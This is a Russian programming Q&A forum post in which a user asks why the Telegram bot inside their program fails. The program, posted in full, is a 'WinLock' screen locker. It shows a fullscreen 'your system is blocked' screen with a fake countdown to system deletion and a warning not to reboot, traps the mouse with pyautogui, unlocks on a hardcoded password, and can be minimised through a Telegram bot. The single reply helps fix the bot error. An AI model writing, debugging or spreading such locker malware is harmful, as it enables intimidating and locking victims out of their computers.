Задать вопрос
@Fox1212

Почему Telegram бот не отвечает?

При запуске кода вылезает ошибка:

import asyncio
from tkinter import *
import pyautogui
from telegram import Update, InlineKeyboardButton, InlineKeyboardMarkup
from telegram.ext import Application, CommandHandler, CallbackQueryHandler, ContextTypes

# Глобальные переменные
read1ng = " "
password = "121209"
t1me = 7200
d3l = "Удаление системы..."

# Функция блокировки окна
def block():
    pyautogui.click(x=675, y=405)
    pyautogui.moveTo(x=675, y=405)
    screen.protocol("WM_DELETE_WINDOW", block)
    screen.update()

# Функция проверки пароля
def password_check(event):
    global read1ng
    read1ng = field.get()
    if read1ng == password:
        screen.destroy()

# Создание окна Tkinter
pyautogui.FAILSAFE = False
screen = Tk()
screen.title("WinLock vlmi.su")
screen.attributes("-fullscreen", True)
screen.configure(background="#1c1c1c")

# Создание меток, полей для ввода и кнопки
field = Entry(screen, fg="green", justify=CENTER)
but = Button(screen, text="Разблокировать")
text0 = Label(screen, text="Ваша система заблокирована!", font="TimesNewRoman 30", fg="white", bg="#1c1c1c")
text = Label(screen, text=")", font="TimesNewRoman 30", fg="#32CD32", bg="#1c1c1c")
text1 = Label(screen, text="Не перезагружайте компьютер, это удалит вашу систему!", font="TimesNewRoman 16", fg="red", bg="#1c1c1c")
l = Label(text=t1me, font="Arial 22", fg="red", bg="#1c1c1c")
l1 = Label(text="До удаления системы осталось:", fg="white", bg="#1c1c1c", font="Arial 15")

# Привязка функции к кнопке
but.bind('<Button-1>', password_check)

# Размещение объектов на экране
text.place(x=380, y=180)
field.place(width=150, height=50, x=600, y=300)
but.place(width=150, height=50, x=600, y=380)
text0.place(x=410, y=100)
text1.place(x=410, y=250)
l1.place(x=20, y=70)
l.place(x=20, y=100)

# Обновление экрана и нажатие на поле для ввода
screen.update()
pyautogui.click(x=675, y=325)
pyautogui.moveTo(x=660, y=410)

# Функция для минимизации окна
async def minimize_window(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    screen.iconify()
    await update.message.reply_text("Окно свернуто")

# Функция, вызываемая при старте бота
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    keyboard = [[InlineKeyboardButton("Свернуть окно", callback_data='minimize')]]
    reply_markup = InlineKeyboardMarkup(keyboard)
    await update.message.reply_text('Нажмите кнопку, чтобы свернуть окно.', reply_markup=reply_markup)

# Функция, вызываемая при нажатии на кнопку в боте
async def button(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    query = update.callback_query
    await query.answer()
    if query.data == 'minimize':
        await minimize_window(update, context)

# Основная функция для запуска телеграм-бота
async def main():
    # Ваш токен телеграм-бота
    application = Application.builder().token("YOUR_TELEGRAM_BOT_TOKEN").build()

    application.add_handler(CommandHandler('start', start))
    application.add_handler(CallbackQueryHandler(button))

    print("Бот запущен")
    await application.start()
    await application.updater.start_polling()
    await application.updater.idle()

import threading
telegram_thread = threading.Thread(target=lambda: asyncio.run(main()))
telegram_thread.start()

while read1ng != password:
    l.configure(text=t1me)
    screen.after(300)
    if t1me == 0:
        t1me = d3l
    if t1me != d3l:
        t1me = t1me - 1
    block()

Ошибка

Exception in thread Thread-1:
Traceback (most recent call last):
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\threading.py", line 950, in _bootstrap_inner
    self.run()
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\threading.py", line 888, in run
    self._target(*self._args, **self._kwargs)
  File "D:\winloker с расспознованием лица\locker.py", line 92, in <lambda>
    telegram_thread = threading.Thread(target=lambda: asyncio.run(main()))
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\asyncio\runners.py", line 44, in run
    return loop.run_until_complete(main)
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\asyncio\base_events.py", line 642, in run_until_complete
    return future.result()
  File "D:\winloker с расспознованием лица\locker.py", line 87, in main
    await application.start()
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\site-packages\telegram\ext\_application.py", line 524, in start
    self._check_initialized()
  File "C:\Users\User\AppData\Local\Programs\Python\Python39\lib\site-packages\telegram\ext\_application.py", line 321, in _check_initialized
    raise RuntimeError(
RuntimeError: This Application was not initialized via `Application.initialize`!
Бот запущен
invalid command name ".!button"
    while executing
"$w cget -relief"
    (procedure "tk::ButtonDown" line 9)
    invoked from within
"tk::ButtonDown .!button"
    (command bound to event)
  • Вопрос задан
  • 258 просмотров
Подписаться 1 Средний Комментировать
Пригласить эксперта
Ответы на вопрос 1
Vindicar
@Vindicar
RTFM!
Ну тебе же английским по белому написано:
RuntimeError: This Application was not initialized via `Application.initialize`!

Нужно перед вызовом application.start() добавить аналогичный вызов initialize().

И да, ты пытаешься трогать элементы управления своего окна из другого потока. Так нельзя.
Ответ написан
Комментировать
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы